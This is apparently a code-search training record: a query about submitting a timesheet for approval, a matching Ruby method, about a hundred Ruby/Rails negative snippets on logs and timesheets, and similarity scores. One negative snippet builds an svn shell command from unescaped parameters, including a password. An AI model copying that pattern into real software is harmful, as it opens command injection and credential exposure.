[ "0.7203762", "0.71784353", "0.71784353", "0.7176675", "0.7176675", "0.7176675", "0.7176675", "0.7176675", "0.7176675", "0.7176675", "0.713924", "0.7116354", "0.70965713", "0.7082134", "0.7031152", "0.694853", "0.6930825", "0.68844795", "0.6874459", "0.68160295", "0.67582023", "0.6753529", "0.6743053", "0.6735395", "0.6682334", "0.6673869", "0.66698843", "0.66642433", "0.66642433", "0.6663252", "0.6636264", "0.6622645", "0.662095", "0.6614244", "0.66080225", "0.6607502", "0.6600898", "0.65990686", "0.65942043", "0.6589072", "0.65857303", "0.65857303", "0.65850264", "0.6576329", "0.6576329", "0.6576329", "0.6576329", "0.657216", "0.6566718", "0.6563006", "0.6559889", "0.6558779", "0.6558632", "0.6558632", "0.6558632", "0.6558632", "0.6558632", "0.6558632", "0.65576476", "0.6554655", "0.65492713", "0.6542982", "0.6533973", "0.6528547", "0.65266246", "0.6510278", "0.65001905", "0.6498765", "0.64935666", "0.64934427", "0.6492417", "0.6492417", "0.6492417", "0.6492417", "0.6492417", "0.6492417", "0.64916986", "0.64904636", "0.6487023", "0.6486143", "0.6482772", "0.6478843", "0.64709413", "0.6468311", "0.64624834", "0.6462051", "0.6460827", "0.6454915", "0.6450978", "0.6439456", "0.6438677", "0.6437837", "0.6433254", "0.6423593", "0.6422969", "0.64196444", "0.64128846", "0.6412138", "0.64069045", "0.64051795" ]
0.6785743
20
Get worklogs from Tempo plugin
def workLogs(username=@username, dateFrom=nil, dateTo=nil, project=nil) q = {:username => username} q[:dateFrom] = DateTime.parse(dateFrom).to_date.iso8601 unless dateFrom.nil? q[:dateTo] = DateTime.parse(dateTo).to_date.iso8601 unless dateTo.nil? q[:projectKey] = project unless project.nil? #q[:accountKey] #q[:teamId] verbose "Fetching worklogs for #{q}" get('worklogs', q) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @work_logs = WorkLog.active\n end", "def get_log\n SimpleWorker.service.log(task_id)\n end", "def index\n @workout_loggings = WorkoutLogging.all\n end", "def read_logs\n @@logs\n end", "def read_logs_all()\n logs = Log.find(:all, :order => 'created_at asc')\n end", "def index\n @timelogs = Timelog.all\n end", "def get_matter_worklist(options={})\n parser.results_parser(get({ path: ROUTES[:get_recent_workspaces].call(@customer_id, @library_id), headers: authorization_header_for_rest_api}))\n end", "def webhook_logs\r\n WebhookLogsController.instance\r\n end", "def index\n @tasks_logs = TasksLog.all\n end", "def logs_for_download\n retrieve_logs_for_download\n end", "def read_logs_all()\n #logs = Log.find(:all, :order => 'created_at asc')\n logs = Log.all.order('created_at asc')\n end", "def index\n @steplogs = Steplog.all\n end", "def custom_log_folders\n return @custom_log_folders\n end", "def getTasklog(response)\r\n\t\t\t\ttimeLogs_json = JSON.parse response\r\n\t\t\t\ttasklogs_array = timeLogs_json[\"timelogs\"][\"tasklogs\"]\r\n\t\t\t\treturn jsonToTasklog(tasklogs_array[0])\r\n\t\t\tend", "def get_monitors\n return @jobs\n end", "def execute\n LOGGERS.map do |logger|\n { file_name: logger.file_name, logs: logger.read_latest }\n end\n end", "def index\n @daily_task_logs = DailyTaskLog.all\n end", "def logs\n @runner.log\n end", "def get_logs(opts = {})\n @transporter.read(:GET, '/1/logs', {}, opts)\n end", "def index\n @tmpr_monthly_logs = TempsMonthly.all\n end", "def index\n @o_all = @ticket.ticket_logs\n end", "def index\n @rjlogs = Rjlog.all\n end", "def get_all_works_metadata\n ActiveFedora::SolrService.query(\"active_fedora_model_ssi:#{self.class}\",\n {:rows => ActiveFedora::SolrService.count(\"active_fedora_model_ssi:#{self.class}\"), :fl => 'id search_result_title_tsi'})\n end", "def ticket_entry\n @jobs = Job.all\n @loggers = Job.all.collect {|i| i.logger }.flatten.uniq\n @destinations = Destination.all\n end", "def get_log_entries\n command = \"svn log -v --xml #{@params[:url]}\"\n command += \" -r HEAD:#{@last_revision.to_i + 1}\" if @last_revision\n command += \" -l3\" unless @last_revision\n command += \" --username=#{@params[:username]}\" if @params[:username]\n command += \" --password=#{@params[:password]}\" if @params[:password]\n command += \" &\"\n\n cli_response = Open3.popen3(command)\n\n stdout = cli_response[1]\n stderr = cli_response[2]\n\n stderr.readlines.each do |line|\n @notifier_engine.log line.strip\n end\n\n doc = Nokogiri::XML(stdout.read)\n\n doc.css(\"logentry\")\n\n end", "def index\n @current_user = current_user\n @timelogs = @current_user.timelogs\n end", "def tasks(wspace=workspace)\n\t\twspace.tasks\n\tend", "def index\n @web_process_logs = WebProcessLog.all\n end", "def get_watched_repos\n @repos.each do |r|\n if r.name.downcase == 'txtout'\n @watched.store('txtout', r.id)\n end\n if r.name.downcase == 'resumemonster'\n @watched.store('resumemonster', r.id)\n end\n end\n end", "def index\n\t\t\t@logs = AppTracker::Log.order('created_at DESC').paginate(:page => params[:page], :per_page => 50)\n\t\tend", "def logs\n end", "def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end", "def index\n @temperature_logs = TemperatureLog.all\n end", "def index\n @twoprojects = Twoproject.all\n end", "def get_work\n client.make_request('/get-work', 'post', params: {})\n end", "def get_logs(job_id:)\n logs = []\n xml_data = get_log_xml(job_id: job_id)\n response_code = get_log_xml_response_code(xml_data: xml_data)\n\n if response_code == \"success\"\n job_status = get_log_job_status(xml_data: xml_data)\n\n if job_status == \"FIN\"\n xml_data.xpath('//response/result/log/logs/*').each do |log_xml|\n logs << PaloAlto::Models::LogEntry.from_xml(xml_data: log_xml)\n end\n else\n raise \"Log job with ID '#{job_id}' is still in progress\"\n end\n else\n raise \"Error in response XML: #{data.inspect}\"\n end\n\n logs\n end", "def index\n @entry_logs = EntryLog.all\n end", "def logs\n @logs ||= Logs.new(@bridge)\n end", "def logs\n @logs ||= Logs.new(@bridge)\n end", "def logs\n @logs ||= Logs.new(@bridge)\n end", "def index\n @iptable_logs = IptableLog.all\n end", "def index\n @import_trial_log_data = ImportTrialLogDatum.all\n end", "def index\n @work_time_patterns = WorkTimePattern.all\n end", "def log_messages\n\t\treturn Thread.current[ 'logger-output' ] ||= []\n\tend", "def entire_history_aaaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tif request.post?\n\t\t\t\tserach_result = search\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t\tserach_result = WorkFlow.search(q_string)\n\t\t\tend\t\n\n\t\t\tif serach_result.present?\n\t\t\t\tl2_name = ''\n\t\t\t\tl1_name = ''\n\t\t\t\tl1_list = ''\n\t\t\t\t@l2_list = ''\n\t\t\t\t@l3_list = ''\n\t\t\t\tserach_result.each do |result|\n\t\t\t\t \tif l1_name != result['l1_name']\n\t\t\t\t \t\tl1_name = result['l1_name']\n\t\t\t\t \t\tl1_list += result['l1_id'].to_s+'_' \n\t\t\t\t \tend\n\n\t\t\t\t \tif l2_name != result['l2_name'] && result['l2_id'].presence\n\t\t\t\t \t\tl2_name = result['l2_name']\n\t\t\t\t \t\t@l2_list += result['l2_id'].to_s+'_' \n\t\t\t\t \tend\t\n\n\t\t\t\t \tif result['l3_id'].presence\n\t\t\t\t \t\t@l3_list += result['l3_id'].to_s+'_' \n\t\t\t\t \tend\t\n\t\t\t \tend\n\n\t\t\t \tl1_list = l1_list.split('_')\n\t\t\t\t@l2_list = @l2_list.split('_')\n\t\t\t @l3_list = @l3_list.split('_')\n\t\t\t\t@report_l1s = L1.where(id: [l1_list])\n\n\t\t\t\t@report_l1s.each do |l1|\n\t\t\t\t\tif l1.timestamp_logs.present?\n\t\t\t\t\t\t@task_confirmation = true\n\t\t\t\t\tend\n\t\t\t\t\t@l2_list_objects = l1.l2s.where(id: [@l2_list])\n\t\t\t\t\t@l2_list_objects.each do |l2|\n\t\t\t\t\t\tif l2.timestamp_logs\n\t\t\t\t\t\t\t@task_confirmation = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\t@l3_list_objects = l2.l3s.where(id: [@l3_list])\n\t\t\t\t\t\t\t@l3_list_objects.each do |l3|\n\t\t\t\t\t\t\t\tif l3.timestamp_logs\n\t\t\t\t\t\t\t\t\t@task_confirmation = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\t\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend", "def index\n @systemlogs = Systemlog.all\n end", "def index\n if current_user.admin\n @logs = Log.all\n \n\telse\n\t@logs = Log.where(:reference_code => current_user.content_code)\n\t@clientlogs = Log.where(:client_code => current_user.client_code)\n\tend\n end", "def getTimeLogs(projectId, queryMap)\t\t\r\n\t\t\t\turl = getBaseURL+\"projects/\"+String(projectId)+\"/logs/\"\t\t\r\n\t\t\t\tresponse = ZohoHTTPClient.get(url, getQueryMap(queryMap))\r\n\t\t\t\treturn $timesheetParser.getTimeLogs(response)\r\n\t\t\tend", "def my_application_log_entries\n @logging.entries(\n filter: %(logName=\"#{my_application_log_name}\")\n )\n end", "def index\n @work_results = WorkResult.all\n end", "def set_work_log\n @work_log = WorkLog.find(params[:id])\n end", "def work_tasks\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [:task, RDF.type, Ruta::Class.task],\n [:task, Ruta::Property.has_worker, uri]\n )\n tasks = []\n query.each_solution { |sol| tasks.push(sol.task.as(Task)) }\n tasks\n end", "def get_stories\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def entries\n settings.time_entries.present? ? settings.time_entries : []\n end", "def get_caserun_logs(caserun_id)\n self.call('TestCaseRun.get_logs', Integer(caserun_id))\n end", "def index\n @logs = Log.all\n end", "def get_copy_jobs_logs(bookmark = '', page_size = 0, source_org_unit_id = 0,\n destination_org_unit_id = 0, start_date = '', end_date = '')\n # GET /d2l/api/le/(version)/ccb/logs\nend", "def logs\n\n end", "def index\n @server_monitor_logs = ServerMonitorLog.fetch_log(params) \n end", "def files\n page = get_page\n offset = PER_PAGE * page\n get_run_logs(:limit => PER_PAGE, :offset => offset)\n end", "def index\n @log_hours = LogHour.all\n end", "def index\n @trans_logs = TransLog.all\n end", "def my_logs\n ActivityLog.all.select {|log| log.user == self}\n end", "def my_logs\n ActivityLog.all.select {|log| log.user == self}\n end", "def cron_logs(app_name)\n\t\tget(\"/apps/#{app_name}/cron_logs\")\n\tend", "def index\n @work_order_work_tasks = WorkOrderWorkTask.all\n end", "def find_work\n\n end", "def get_stories\n api_url = \"#{CONFIG[:api_location]}/projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def work_meta_list(work)\n # if we're previewing, grab the unsaved date, else take the saved first chapter date\n published_date = (@chapter && params[:preview_button]) ? @chapter.published_at : work.first_chapter.published_at\n list = [['Published:', localize(published_date)], ['Words:', work.word_count], ['Chapters:', work.chapter_total_display]]\n if work.chaptered?\n prefix = work.is_wip ? \"Updated:\" : \"Completed:\"\n list.insert(1, [prefix, localize(work.revised_at.to_date)])\n end\n '<dl>' + list.map {|l| '<dt>' + l.first + '</dt><dd>' + l.last.to_s + '</dd>'}.to_s + '</dl>'\n end", "def log\n Howitzer::Log.instance\nend", "def log\n @list\n end", "def retrieve_log(module_id, nr_of_lines)\n logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n end", "def create_timesheet\n #mandatory parameter params[:author]\n @author = Author.find(params[:author]) \n to = params[:to].blank? ? Time.now.strftime(\"%Y-%d-%m %k:%M:%S\") : params[:to] \n @repositories = @author.repositories\n\n #optional paramaeters :from, :to, :repository\n @logs = GitLog.to(to).by_author(@author)\n\n @logs = @logs.by_repository(params[:repository]) if !params[:repository].blank?\n \n if !params[:from].blank?\n fromdate = params[:from].to_datetime.strftime(\"%Y-%m-%d %H:%M:%S\")\n @logs = @logs.fromdate(fromdate)\n end \n \n @git_logs = @logs.paginate({:page => params[:page], :per_page => NO_OF_ROWS_PER_PAGE})\n render \"git_logs/index\"\n end", "def rss_log\n self\n end", "def rss_log\n self\n end", "def logs_for(application)\n logs_at_url(get(\"/apps/#{application}/logs?logplex=true\", 2))\n end", "def logs_of(selection, log: nil)\n if workspace_dir?(selection) || (pkg_set = find_package_set(selection))\n return [] if log && log != \"import\"\n\n name = if pkg_set then pkg_set.name\n else\n \"autoproj main configuration\"\n end\n\n import_log = File.join(ws.log_dir, \"#{name}-import.log\")\n if File.file?(import_log)\n [import_log]\n else\n []\n end\n else\n pkg = resolve_package(selection)\n Dir.enum_for(:glob, File.join(pkg.logdir, \"#{pkg.name}-#{log || '*'}.log\")).to_a\n end\n end", "def index\n @work_order_times = WorkOrderTime.all\n end", "def index\n @config_logs = ConfigLog.all\n end", "def index\n @topic_logs = TopicLog.all\n end", "def logs\n @logs.dup\n end", "def index\n @working_start_times = WorkingStartTime.all\n end", "def index\n @title = 'Workout Records'\n @workout_records = current_user.workout_records.find(:all, :order => 'date_performed')\n end", "def index\n @workfiles = Workfile.all\n end", "def audit_history\n return [] if id.blank?\n return Audit.where( work_id: id ).order( created_at: :desc )\n end", "def get_related_works_metadata\n pid = self.pid.split(':').last\n ActiveFedora::SolrService.query(\"is_part_of_ssim:*#{pid}\",\n {:rows => ActiveFedora::SolrService.count(\"is_part_of_ssim:*#{pid}\"), :fl => 'id search_result_title_tsi'})\n end", "def all_tasks\n self.stories.collect { |s| s.tasks }.flatten\n end", "def retrieve_log(module_id, nr_of_lines)\n #logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n logs = Log.where(\"module_id = (?)\", module_id).order('created_at asc').first(nr_of_lines)\n end", "def gather_logs(since)\n types = Seek::Util.persistent_classes.select(&:subscribable?).map(&:name)\n ActivityLog.\n where(activity_loggable_type: types, action: %w[create update]).\n where.not(controller_name: 'sessions').\n where('created_at >= ?', since).\n select(ActivityLog.arel_table[:id].maximum.as('id'), :activity_loggable_id, :activity_loggable_type).\n group([:activity_loggable_id, :activity_loggable_type])\n end", "def reports(wspace=workspace)\n\t\twspace.reports\n\tend", "def list\n websites = @logs.records\n @view.show(websites)\n end", "def index\n @working_changes = WorkingChange.all\n end", "def index\n @data_logs = DataLog.all\n end", "def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend", "def tasks\n task_list.tasks\n end", "def reopen_logs; end", "def index\n @ticker_week_histories = TickerWeekHistory.all\n end", "def get_logs(opt={})\n opt[:from] ||= Date.today\n #opt[:to] ||= Date.today - 1\n opt[:parse] = opt[:parse].nil? ? true : opt[:parse]\n \n #raise \":from date must preceed :to date.\" if opt[:to] && opt[:to] < opt[:from]\n \n uri_str = \"#{API_URL}/GetDailyReportLogs/#{options[:site]}?#{self.generate_authorization_token}\"\n uri_str << \"&StartDate=#{opt[:from]}\"\n uri_str << \"&EndDate=#{opt[:to]}\" if opt[:to]\n url = URI.parse uri_str\n \n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n resp = http.start {\n request = Net::HTTP::Get.new(url.to_s)\n response = http.request(request)\n response.body\n }\n if resp =~ /No.*?log data found/\n return opt[:parse] ? [] : resp\n end\n \n return opt[:parse] ? Log.parse(resp) : resp\n end", "def index\n # HACK - deleting older logs\n\n #Added in cronjob\n # NotificationLog.delete_old_logs\n\n if current_user.is? :super_admin\n @notification_logs = NotificationLog.order(\"date DESC\")\n else\n @notification_logs = current_user.notification_logs.where(\"date > ? AND disabled = ?\", (Time.zone.now - 1.month.from_now), false).order(\"date DESC\").all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notification_logs }\n end\n end", "def ingest_only\n @works = Work.ingest_only\n render :index\n end" ]
[ "0.65960455", "0.6236865", "0.60215795", "0.57196313", "0.57015556", "0.5693053", "0.5629589", "0.56075305", "0.55874676", "0.5561599", "0.55531883", "0.5526467", "0.55068356", "0.5466137", "0.5431112", "0.5427378", "0.53831196", "0.5380304", "0.5368014", "0.5364889", "0.53628236", "0.53574944", "0.5347931", "0.5334376", "0.5332345", "0.53318816", "0.5327959", "0.5323291", "0.53214586", "0.5305497", "0.53049636", "0.52864873", "0.5274565", "0.5266478", "0.5227969", "0.52209175", "0.52175426", "0.5212267", "0.5212267", "0.5212267", "0.5204647", "0.52009994", "0.5194327", "0.5187857", "0.51846576", "0.51833653", "0.5174069", "0.5172445", "0.5148713", "0.5140563", "0.51402795", "0.5131139", "0.51280916", "0.5115888", "0.51116717", "0.510427", "0.50990796", "0.5097345", "0.5097213", "0.50927895", "0.5088621", "0.5087054", "0.50823694", "0.50823694", "0.50822604", "0.50801873", "0.5073761", "0.5064804", "0.5056464", "0.5056358", "0.5054086", "0.5048491", "0.5047322", "0.5044416", "0.5044416", "0.50405747", "0.5038142", "0.5029213", "0.5022855", "0.50147516", "0.5008496", "0.5003506", "0.50029844", "0.50016207", "0.4999245", "0.49963492", "0.49953946", "0.49947676", "0.49921867", "0.49904016", "0.49893966", "0.49883372", "0.49807072", "0.49701175", "0.4964421", "0.49543694", "0.49519092", "0.49508718", "0.49451092", "0.4940496" ]
0.5959814
3
Submit a timesheet for approval.
def submitForApproval(period=nil, comment='', name=@username) if period.nil? then # First day of work week cur = currentApprovalStatus(nil, name) period = cur.access 'period.dateFrom' end verbose "Submitting timesheet for #{period}" post('timesheet-approval/', { :user=>{ :name=>name, }, :period=>{ :dateFrom=>period, }, :action=>{ :name=>:submit, :comment=>comment, } }) unless $cfg['tool.dry'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n # Get the draft_timesheet.\n draft_timesheet = DraftTimesheet.find(params[:draft_timesheet_id])\n # Build a submitted_timesheet.\n @submitted_timesheet = draft_timesheet.submit\n # Try to save the submitted_timesheet.\n respond_to do |format|\n if @submitted_timesheet.save\n format.html { redirect_to accepted_timesheets_url, notice: 'Submitted timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @submitted_timesheet }\n else\n format.html { render :new }\n format.json { render json: @submitted_timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit(hours, message = \"\")\n\n account = Config.details\n c = FreshBooks::Client.new(account[\"account\"], account[\"token\"])\n project = Config.details(Dir.pwd)\n entry = c.time_entry.create(\n :time_entry => {\n project_id: project[\"project_id\"],\n task_id: project[\"task_id\"],\n hours: hours.to_f,\n notes: message.gsub(/\\n/,\"\\n\\n\").to_s,\n date: Date.today.to_s\n }\n )\n return validate(entry)\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_timesheet_url(@timesheet) }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n # authorize @timesheet\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n # authorize @timesheet\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_submitted_timesheet\n @submitted_timesheet = SubmittedTimesheet.find(params[:id])\n end", "def approvepm\n @timesheet_task = TimesheetTask.find(params[:id])\n if @timesheet_task.status_timesheet_id == 2 # Pending PM\n @timesheet_task.update(status_timesheet_id: 4)\n flash.now[:success] = \"Timesheet have been approved by PM.\"\n end\n render 'datarow'\n end", "def create\n @job = Job.find(params[:job_id]) if params[:job_id]\n if @job.present?\n @timesheet = @job.timesheets.new(timesheet_params)\n else\n @timesheet = Timesheet.new(timesheet_params)\n end\n # authorize @timesheet\n\n skip_authorization\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to company_timesheet_path(@timesheet), notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { redirect_to timesheets_url }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @time_sheet = TimeSheet.new(time_sheet_params)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def timesheet_params\n params.require(:timesheet).permit(:title, :desc, :category_id, :started_at, :completed_at)\n end", "def create\n @timesheet = current_user.timesheets.new(params[:timesheet])\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render json: @timesheet, status: :created, location: @timesheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n params[:timesheet].each do |key,value|\n Timesheet.create(:project_id => value[:project_id],:description => value[:description],:hours => value[:hours])\n end\n redirect_to \"/timesheets\",notice: \"Timesheet created successfully\" \n end", "def submit(args = {})\n watercourse.set(args[:watercourse]) if args.key?(:watercourse)\n stop_day.set(args[:stop_day]) if args.key?(:stop_day)\n stop_month.set(args[:stop_month]) if args.key?(:stop_month)\n stop_year.set(args[:stop_year]) if args.key?(:stop_year)\n apply_day.set(args[:apply_day]) if args.key?(:apply_day)\n apply_month.set(args[:apply_month]) if args.key?(:apply_month)\n apply_year.set(args[:apply_year]) if args.key?(:apply_year)\n gauging_station.set(args[:gauging_station]) if args.key?(:gauging_station)\n hof_threshold.set(args[:hof_threshold]) if args.key?(:hof_threshold)\n contact_name.set(args[:contact_name]) if args.key?(:contact_name)\n contact_details.set(args[:contact_details]) if args.key?(:contact_details)\n sender_name.set(args[:sender_name]) if args.key?(:sender_name)\n sender_role.set(args[:sender_role]) if args.key?(:sender_role)\n sender_address.set(args[:sender_address]) if args.key?(:sender_address)\n submit_button.click\n end", "def create\n # byebug\n @time_sheet = current_user.time_sheets.new(clock_in: DateTime.now.localtime)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: \"Time sheet was successfully created.\" }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def timesheet_params\n params.require(:timesheet).permit(:employee_id, :company, :date, :start_time, :end_time)\n end", "def submitted_timesheet_params\n params.require(:submitted_timesheet).permit(:name)\n end", "def create\n @timesheets = @company.timesheets.order(\"created_at DESC\").page(params[:page]).per(20)\n @timesheet = Timesheet.create_timesheet(params, @company, @current_user)\n @tasks = @company.tasks\n @week = params[:timesheet][:start_date].to_date.beginning_of_week\n respond_to do |format|\n if @timesheet.save\n flash[:success]= \"Timesheet successfully created.\"\n format.html { redirect_to timesheets_path }\n format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n else\n @week = params[:timesheet][:start_date].to_date.beginning_of_week\n if params[:dated_on].blank?\n @dates = (Time.zone.now.beginning_of_week.to_date..Time.zone.now.end_of_week.to_date).to_a\n else\n dated_on = params[:dated_on].to_date\n @dates = (dated_on.beginning_of_week.to_date..dated_on.end_of_week.to_date).to_a\n end\n @tasks = @company.tasks\n format.html { render :action => \"index\" }\n format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def time_sheet_params\n params.require(:time_sheet).permit(:closed_at, :user_id)\n end", "def create\n @time_sheet = TimeSheet.new(params[:time_sheet])\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render json: @time_sheet, status: :created, location: @time_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new params[:timesheet]\n @timesheet.user = current_user\n @date = Date.parse params[:timesheet][:day]\n if @timesheet.save\n redirect_to timesheets_month_path(:y => @date.year, :m => @date.month)\n else\n @title = \"Add time entry for #{@date}\"\n @accounts = Account.all\n render 'new'\n end\n end", "def timesheet_params\n params.require(:timesheet).permit(:week, :job_id, :reg_hours, :ot_hours, :gross_pay)\n end", "def timesheet_params\n params.require(:timesheet).permit(:week, :job_id, :reg_hours, :ot_hours, :gross_pay)\n end", "def timesheet_params\n params.require(:timesheet).permit(:event, :event_time, :event_type, :user_id, :urgency, :notes)\n end", "def create\n @timesheet = Timesheet.new(params[:timesheet])\n\n respond_to do |format|\n #if @timesheet.save\n #flash[:notice] = 'Timesheet was successfully created.'\n #\tformat.html { redirect_to(@timesheet) }\n #format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n #else\n #\tformat.html { render :action => \"new\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n #end\n\n if @timesheet.save\n #format.html { redirect_to(@timesheet,\t:notice => 'Timesheet was successfully created.') }\n format.html { redirect_to :controller => \"admin/timesheets\", :action => \"show\", :id => @timesheet.id }\n #format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def accept\n begin\n accepted_timesheet_params = self.attributes.except('id', 'type', 'created_at', 'updated_at', 'accepted_timesheet_id')\n rescue ActiveRecord::RecordNotFound\n redirect_to timesheets_path, notice: 'This original timesheet or submitted timesheet no longer exists.'\n return\n end\n accepted_timesheet_params\n end", "def update\n respond_to do |format|\n if @submitted_timesheet.update(submitted_timesheet_params)\n format.html { redirect_to accepted_timesheets_url, notice: 'Submitted timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @submitted_timesheet }\n else\n format.html { render :edit }\n format.json { render json: @submitted_timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @time_management_sheet = TimeManagementSheet.new(time_management_sheet_params)\n\n respond_to do |format|\n if @time_management_sheet.save\n format.html { redirect_to @time_management_sheet, notice: 'Time management sheet was successfully created.' 